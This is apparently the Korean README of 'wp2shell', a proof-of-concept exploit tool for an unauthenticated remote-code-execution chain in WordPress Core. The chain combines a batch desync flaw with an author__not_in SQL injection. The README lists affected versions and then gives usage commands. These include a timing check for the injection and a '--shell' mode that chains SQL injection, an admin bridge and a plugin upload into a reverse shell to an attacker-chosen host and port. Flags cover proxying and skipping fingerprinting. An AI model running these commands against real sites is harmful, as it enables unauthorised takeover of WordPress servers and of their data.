
WP2Shell로 알려진 WordPress Core 인증되지 않은 RCE에 대한 PoC 익스플로잇
| 이름 | wp2shell |
| CVE | CVE-2026-63030 (batch desync), CVE-2026-60137 (author__not_in SQLi) |
| 영향받는 버전 | WordPress 6.9.0 ~ 6.9.4, 7.0.0 ~ 7.0.1 |
| 수정된 버전 | 6.9.5, 7.0.2 |
| 인증 필요 | 없음 |
| 발견자 | Adam Kues (Searchlight Cyber / Assetnote) |
호스트만 입력하면 자동으로 스킴을 시도합니다(https://를 먼저 시도한 후 http://). 특정 스킴을 강제하려면 http:// 또는 https://를 접두사로 사용하세요.
# 스킴 자동 감지
wp2shell target.example
wp2shell 127.0.0.1:8080
# 스킴 강제
wp2shell https://target.example/
wp2shell http://127.0.0.1:8080/
# 타이밍 확인
wp2shell target.example --confirm-sqli
# SQLi -> oEmbed/관리자 브리지 -> 플러그인 -> 리버스 셸
wp2shell target.example --shell
wp2shell target.example --shell 192.168.1.10 4443
| 플래그 | 설명 |
|---|---|
--shell [LHOST [LPORT]] | 표준 RCE 체인; 기본 LHOST는 이 머신의 IP, LPORT는 443입니다. |
--rest-route | 먼저 /?rest_route=/batch/v1 시도 |
--verify-tls | TLS 인증서 검증 (실험실/자체 서명용으로 기본적으로 꺼짐) |
--proxy URL | 프록시를 통해 트래픽 전송 |
--force | WordPress 핑거프린팅 건너뛰기 |